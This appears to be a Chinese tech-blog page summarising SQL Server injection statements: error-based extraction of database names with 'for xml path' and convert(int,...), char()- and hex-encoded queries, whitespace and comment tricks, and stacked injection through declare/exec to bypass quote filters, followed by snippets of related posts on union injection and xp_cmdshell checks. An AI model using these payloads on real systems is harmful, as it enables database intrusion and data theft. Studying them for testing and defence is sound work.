Sql server注入分類之語句總結

2021-10-12 06:25:02 字數 1456 閱讀 6430

關於mssql的注入語句,跟mysql也差不了多少,都是從information_scheam庫中獲取各種資料。

(該語句是一次性獲取全部資料庫的,且語句只適合》=2005,兩條語句可供選擇使用)

and 1=(select quotename(name) from master…sysdatabases for xml path(』』))–

and 1=(select 『|』%2bname%2b』|』 from master…sysdatabases for xml path(』』))–

注:第一條語句:and 1=(select top 1 * from 指定資料庫…指定表名 for xml path(』』))–

注入語句可以用char()表示,以下是統計下總共有多少個庫

(char(58)+char(58)+(select top 1 cast(count([name]) as nvarchar(4000)) from [master]…[sysdatabases] )+char(58)+char(58))

查詢多條資料可以使用%2b 也就是加號,如果語句中有+號報錯,可以url編碼成%2b

mssql空白符,%01-%20都為空白符--和/**/為注釋%00也可充當注釋符

select * from admin where id =1;declare @a nvarchar(2000) set @a=『select convert(int,@@version)』 exec(@a) --

堆疊注入,使用declare 和exec進行無select注入

declare @s varchar(2000) set @s=0x73656c6563742031 exec(@s)

declare定義變數 set設定變數值 exec執行變數

變數的值是支援hex和ascii碼的,當過濾引號我們就可以這麼用

避免使用引號

Sql server注入分類之聯合注入

聯合注入例 id 1073union all select null,回顯點 null,null 一般都是代入在這語句的回顯點中 其實這裡面在後面新增的 或者 是因為代入資料庫查詢的時候系統可能會給你附加一些語句,這些語句都有可能會影響你的 所以就可以加這個注釋掉。判斷是否有xp cmdshell擴...

sql注入 sqlserver報錯注入

該注入的條件是必須有報錯資訊 用到函式convert int,select top 1 db name 其含義是將第二個引數的值轉換成第乙個引數的int型別 一 開啟檔案,如下圖所示,有報錯資訊 二 檢視資料庫 輸入 and 1 convert int,select top 1 db name 這裡...

Spring 注入分類

bean 例項在呼叫無參構造器建立了空值物件後,就要對 bean 物件的屬性進行初始化。初始化是由容器自動完成的,稱為注入。根據注入方式的不同,常用的有兩類 設值注入 構造注入。還有另外一種,實現特定介面注入。由於這種方式採用侵入式程式設計,汙染了 所以幾乎不用。1 設值注入 設值注入是指,通過 s...